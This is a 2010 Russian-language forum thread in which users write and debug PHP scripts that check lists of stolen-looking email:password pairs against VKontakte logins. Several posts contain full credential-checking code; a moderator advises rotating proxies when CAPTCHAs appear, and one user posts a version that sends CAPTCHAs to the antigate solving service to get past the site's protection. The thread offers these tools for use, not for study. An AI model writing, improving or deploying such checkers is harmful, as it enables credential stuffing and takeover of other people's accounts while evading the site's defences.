чекер аккаунтов вконтакте

Discussion in 'PHP' started by SkyLine32, 19 Mar 2010.

  1. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    Уважаемые кодеры!
    Вот я тут пытался сделать чекер акков вконтакте, но так как у меня мало опыта в php естественно многое не получается. :))
    Вот скрипт, суть такая. Забиваем акки в textarea, далее Send и скрипт выводит валидные акки. Но в моём скрипте максимум проверяется только один аккаунт, далее пишет:
    Cannot redeclare curl()
    Помогите разобраться!

    PHP:
    <form method="post" />
    <textarea cols=80 rows=18 name="akki-list">
    </textarea>
    <br />
    <input type="submit" value=" Send " />
    </form> 
    <?php
    if(isset($_POST['akki-list'])) {
    foreach(
    explode("\n",$_POST['akki-list']) as $line)
    {

    $pos strpos($line':');
    $email substr($line0$pos);
    $pos2 strpos($line':');
    $pass substr($line$pos2);
    $pass = @ereg_replace(":"""$pass);

    function 
    curl($url,$post)
    {
    $cfile 'cheker-cookies.txt';
    $ch curl_init();
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); 
    curl_setopt($chCURLOPT_URL$url);
    curl_setopt($chCURLOPT_HEADER1);

    $proxy="ip:port";

    curl_setopt($chCURLOPT_PROXY$proxy); 
    curl_setopt($chCURLOPT_POSTFIELDS$post); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
    curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
    curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
    curl_setopt($chCURLOPT_POST1);
    $result curl_exec($ch);
    curl_close($ch);
    return 
    $result;
    };

    $result curl('http://vkontakte.ru/','');

    if(
    strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
    $result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
    }
    if (
    preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
    echo 
    "$email:$pass - ok<br />";
    else
    echo 
    "$email<br>$pass - bad";
    unlink('cheker-cookies.txt');
    }
    }
    ?>
     
  2. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    SkyLine32 Объявление функции сделайте вне цикла
     
    _________________________
  3. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    помогло спасибо! Только теперь появилась новая проблема, все аккаунты пишет что валидные, хотя для теста забивал в textarea и не рабочие...
     
    #3 SkyLine32, 19 Mar 2010
    Last edited: 19 Mar 2010
  4. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    PHP:
    <form method="post" />
    <textarea cols="80" rows="18" name="akki-list">
    </textarea>
    <br />
    <input type="submit" value=" Send " />
    </form> 
    <?php
    if(isset($_POST['akki-list'])) {

    function 
    curl($url,$post)
    {
    $cfile 'cheker-cookies.txt';
    $ch curl_init();
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6"); 
    curl_setopt($chCURLOPT_URL$url);
    curl_setopt($chCURLOPT_HEADER1);

    $proxy="ip:port";

    curl_setopt($chCURLOPT_PROXY$proxy); 
    curl_setopt($chCURLOPT_POSTFIELDS$post); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
    curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
    curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
    curl_setopt($chCURLOPT_POST1);
    $result curl_exec($ch);
    curl_close($ch);
    return 
    $result;
    };

    foreach(
    explode("\n",$_POST['akki-list']) as $line)
    {

    $pos strpos($line':');
    $email substr($line0$pos);
    $pos2 strpos($line':');
    $pass substr($line$pos2);
    $pass = @ereg_replace(":"""$pass);

    $result curl('http://vkontakte.ru/','');

    if(
    strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
    $result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
    }
    if (
    preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
    echo 
    "$email:$pass - ok<br />";
    else
    echo 
    "$email:$pass - bad<br />";
    unlink('cheker-cookies.txt');
    }
    }
    ?>
    Ну вот в принципе рабочий чекер на php. Но только работает странно. Раз работает, другой раз не работает... Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
     
  5. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    Что никто не знает как решить данную задачу?
     
  6. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты...

    Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?
     
    _________________________
  7. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    Ну всё же я попросил совета а не сказал что мне все тут ОБЯЗАНЫ помогать... А я почти сутки сижу и в надежде на совет :D Ну слава богу хоть ты мне кое что посоветовал...

    Ротация прокси это имеется ввиду их смена?
    А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?
     
  8. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    Да, если к примеру вылезла капча, меняеш проксю, или если нет конекта к вкантакту (прокси мертвая). Также добавь проверку по curl_errno если ответ >0 значит нужно менять проксю.

    Это curl_setopt($ch, CURLOPT_TIMEOUT, 10); чтоб не ждать по минуте при медленной проксе.
     
    _________________________
  9. qwerra

    qwerra Elder - Старейшина

    Joined:
    21 Apr 2007
    Messages:
    211
    Likes Received:
    68
    Reputations:
    4
    Наверное надо как то так:

    PHP:
    <?
    set_time_limit(0);

    require_once 
    'config.ini';


    function 
    recognize($filename$apikey$is_verbose true$rtimeout 5$mtimeout 120$is_phrase 0$is_regsense 0$is_numeric 0$min_len 0$max_len 0)
    {
        if (!
    file_exists($filename))
        {
            if (
    $is_verbose) echo "file $filename not found\n";
            return 
    false;
        }
        
    $postdata = array(
            
    'method'    => 'post'
            
    'key'       => $apikey
            
    'file'      => '@'.$filename//полный путь к файлу
            
    'phrase'    => $is_phrase,
            
    'regsense'    => $is_regsense,
            
    'numeric'    => $is_numeric,
            
    'min_len'    => $min_len,
            
    'max_len'    => $max_len,
            
        );
        
    $ch curl_init();
        
    curl_setopt($chCURLOPT_URL,             'http://www.antigate.com/in.php');
        
    curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
        
    curl_setopt($chCURLOPT_TIMEOUT,             60);
        
    curl_setopt($chCURLOPT_POST,                 1);
        
    curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
        
    $result curl_exec($ch);
        if (
    curl_errno($ch)) 
        {
            if (
    $is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
            return 
    false;
        }
        
    curl_close($ch);
        if (
    strpos($result"ERROR")!==false)
        {
            if (
    $is_verbose) echo "server returned error: $result\n";
            return 
    false;
        }
        else
        {
            
    $ex explode("|"$result);
            
    $captcha_id $ex[1];
            if (
    $is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
            
    $waittime 0;
            if (
    $is_verbose) echo "waiting for $rtimeout seconds\n";
            
    sleep($rtimeout);
            while(
    true)
            {
                
    $result file_get_contents('http://antigate.com/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
                if (
    strpos($result'ERROR')!==false)
                {
                    if (
    $is_verbose) echo "server returned error: $result\n";
                    return 
    false;
                }
                if (
    $result=="CAPCHA_NOT_READY")
                {
                    if (
    $is_verbose) echo "captcha is not ready yet\n";
                    
    $waittime += $rtimeout;
                    if (
    $waittime>$mtimeout
                    {
                        if (
    $is_verbose) echo "timelimit ($mtimeout) hit\n";
                        break;
                    }
                    if (
    $is_verbose) echo "waiting for $rtimeout seconds\n";
                    
    sleep($rtimeout);
                }
                else
                {
                    
    $ex explode('|'$result);
                    if (
    trim($ex[0])=='OK') return trim($ex[1]);
                }
            }
            
            return 
    false;
        }
    }

    function 
    GetList($filename){
    if(!
    file_exists($filename)||filesize($filename)==0)return -1;
    $handle fopen($filename,'r');
    $source fread($handle,filesize($filename));
    fclose($handle);
    $source str_replace(array("\r","\t"),"",$source);
    $source explode("\n",$source);
    return 
    $source;
    }

    function 
    ToLog($str)
    {
    global 
    $log_handle;
    fwrite($log_handle,$str);
    echo 
    $str;
    flush();
    }

    function 
    Login($login,$password)
    {
    $init curl_init();
    curl_setopt($initCURLOPT_URL'http://vkontakte.ru/login.php');
    curl_setopt($initCURLOPT_POST1);
    curl_setopt($initCURLOPT_TIMEOUT15);
    curl_setopt($initCURLOPT_POSTFIELDS'op=a_login_attempt');
    curl_setopt($initCURLOPT_RETURNTRANSFER1);
    curl_setopt($initCURLOPT_HEADER1);
    curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
    $source curl_exec($init);
    curl_close($init);
    if(
    strstr($source,'Enter code')){
    global 
    $use_AC,$captcha_file;
    if(
    $use_AC)
    {
    preg_match('|\{"ok":-2,"captcha_sid":"(\d+)","text":"Enter code"\}|'$source$cid);
    $img fopen($captcha_file,"w");
    fwrite($img,file_get_contents("http://vkontakte.ru/captcha.php?s=1&sid=$cid[1]"));
    fclose($img);
    $captcha_code=recognize($captcha_file,$AC_key,false);
    $init curl_init();
    curl_setopt($initCURLOPT_URL'http://vkontakte.ru/login.php');
    curl_setopt($initCURLOPT_POST1);
    curl_setopt($initCURLOPT_TIMEOUT15);
    curl_setopt($initCURLOPT_POSTFIELDS"op=a_login_attempt&captcha_sid=$cid[1]&captcha_key=$captcha_code");
    curl_setopt($initCURLOPT_RETURNTRANSFER1);
    curl_setopt($initCURLOPT_HEADER1);
    curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
    $source curl_exec($init);
    curl_close($init);
    return array(
    'captcha_block',null);
    }
    else
    return array(
    'captcha_block',null);
    }

    $init curl_init();
    curl_setopt($initCURLOPT_URL'http://login.vk.com/?act=login');
    curl_setopt($initCURLOPT_POST1);
    curl_setopt($initCURLOPT_TIMEOUT15);
    curl_setopt($initCURLOPT_POSTFIELDS,'email='.$login.'&pass='.$password.'&expire=&vk=');
    curl_setopt($initCURLOPT_RETURNTRANSFER1);
    curl_setopt($initCURLOPT_HEADER1);
    curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
    $source curl_exec($init);
    curl_close($init);
    if(
    preg_match('|<input type=\'hidden\' name=\'s\' id=\'s\' value=\'(\w+)\' />|'$source$rsid))
    return array(
    'valid',$rsid[1]);
    else 
    return array(
    'invalid',null);
    }




    $log_handle fopen($log_file,"a+");
    $good_handle fopen($good_file,"a+");
    $bad_handle fopen($bad_file,"a+");
    $accounts GetList($vk_accs);
    if(
    $accounts==-1)
    die(
    "\r\n file accounts not found or clean \r\n");
    $val_acc = (count($accounts)-1);

    for(
    $i=0;$i<=$val_acc;$i++)
    {
    if(
    $accounts[$i]=='')
    continue;
    list(
    $mail,$pass) = explode($delimeter,$accounts[$i]);
    $res Login($mail,$pass);
    switch(
    $res[0])
    {
    case 
    'captcha_block':
    if(!
    $use_AC){
    ToLog("$mail$delimeter$pass [captcha block]\r\n");
    }
    else
    $i--;
    break;

    case 
    'valid':
    ToLog("$mail$delimeter$pass [valid!]\r\n");
    fwrite($good_handle,"$mail$delimeter$pass\r\n");
    break;

    case 
    'invalid':
    ToLog("$mail$delimeter$pass [invalid]\r\n");
    fwrite($bad_handle,"$mail$delimeter$pass\r\n");
    break;

    }
    }
    fclose($log_handle);
    fclose($good_handle);
    fclose($bad_handle);
    ?>
     
  10. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    Вроде чекает норм, для меня для начинающего в области php сойдёт :D
    Всем спасибо за помощь!

    PHP:
    <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN'
    'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
    <html xmlns='http://www.w3.org/1999/xhtml'>
    <head>
    <title>чекер вконтакте</title>
    <style type='text/css' media='all'>
    body,html {
        background:#004243;
        font-family: verdana;
        font-size:10px;
        color:#2D8AB9;
    }
    textarea {
        background:#008A8C;
        font-family: verdana;
        font-size:10px;
        color: #FFFFFF;
    }
    #ok {
        color: #00A437;
        font-family: Verdana;
        font-size: 10px;
        background-color: #111;
        border-color: #002E3B;
        cursor:pointer;
    }
    </style>
    </head>
    <body>
    <form method="post" />
    <textarea cols="100" rows="25" name="akki-list">
    </textarea>
    <br /><br />
    <input type="submit" value=" Send " id='ok' />
    </form>
    <form action="http://best.vg/" method="post" />
    <input type="submit" value=" © " id='ok' />
    </form>
    <?php
        set_time_limit
    (0);

        
    $cookies     =    'cookies.txt';
        if(isset(
    $_POST['akki-list']))
    {
    function 
    curl($url,$post)
    {
        
    $ch curl_init(); 
        
    curl_setopt($chCURLOPT_URL$url); 
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
    curl_setopt($chCURLOPT_COOKIEJAR$cookies);
        
    curl_setopt($chCURLOPT_COOKIEFILE$cookies);
        
    curl_setopt($chCURLOPT_HEADER1); 
        
    curl_setopt($chCURLOPT_POSTFIELDS$post);
        
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6');
        @
    curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
        
    curl_setopt($chCURLOPT_PROXY$proxy.':'.$port);
        
    //curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
    $result curl_exec($ch);
        
    curl_close($ch);
        return 
    $result;
    };
    foreach(
    explode("\n",$_POST['akki-list']) as $line)
    {
        
    $pos    =    strpos($line':');
        
    $email    =    substr($line0$pos);
        
    $pos2    =    strpos($line':');
        
    $pass    =    substr($line$pos2);
        
    $pass    =    @ereg_replace(":"""$pass);

        
    $file     =     file('proxy.txt');
        
    $prox     =     explode(':'$file[0]);
        
    $proxy     =     $prox['0'];
        
    $port     =     $prox['1'];
        
        
    $newp str_replace($proxy.':'.$port''file_get_contents('proxy.txt'));
    if(
    $prf fopen('proxy.txt''w+'))
    {
        
    fwrite($prf$newp);
        
    fclose($prf);

        
    $result    =    curl('http://vkontakte.ru/','');
    if(
    strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
    {
        
    $result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
    }
    if (
    preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
        echo 
    "<font color=green>$email:$pass - ok - $proxy:$port</font><br />";
        else
        echo 
    "<font color=red>$email:$pass - bad - $proxy:$port</font><br />";
    }
    else {echo 
    'хз';}
    }
    }
    ?>
     
  11. Life7

    Life7 Banned

    Joined:
    14 Jun 2009
    Messages:
    150
    Likes Received:
    54
    Reputations:
    0
    норм. но жаль что не ехе...
     
  12. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    ну если подаждёшь с недельку, может смогу на delphi написать :D
     
  13. nuBo

    nuBo Elder - Старейшина

    Joined:
    29 Dec 2008
    Messages:
    51
    Likes Received:
    82
    Reputations:
    53
    xampp не поддерживает curl ?
     
  14. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    Видимо нет, проверь
    PHP:
    <?php
    phpinfo
    (); 
    ?>
     
  15. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    а что, непонятно ?

    нужно раскомментировать расширение curl в php.ini

    100500 раз поднимали этот вопрос
     
    2 people like this.
  16. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    ну и соответственно иметь файлик php_curl.dll в \ext ну или где то там...xampp вообще не разу не юзал...
     
  17. nuBo

    nuBo Elder - Старейшина

    Joined:
    29 Dec 2008
    Messages:
    51
    Likes Received:
    82
    Reputations:
    53
    Deathdreams спасибо.
    Все акки, кидает в невалид. :confused:
     
  18. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    Короче суть такая... Сколько ты аккаунтов хочешь прочекать - столько у тебя должно быть рабочих прокси! На каждый аккаунт берётся по 1й прокси.
     
  19. nuBo

    nuBo Elder - Старейшина

    Joined:
    29 Dec 2008
    Messages:
    51
    Likes Received:
    82
    Reputations:
    53
    SkyLine32 ты сам то скрипт проверял?
     
  20. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    ну как бы делал для себя... может и есть косяки, но я в php ещё не очень шарю, если ты шаришь нормально, доведи до ума скрипт и выложи сюда - люди оценят :)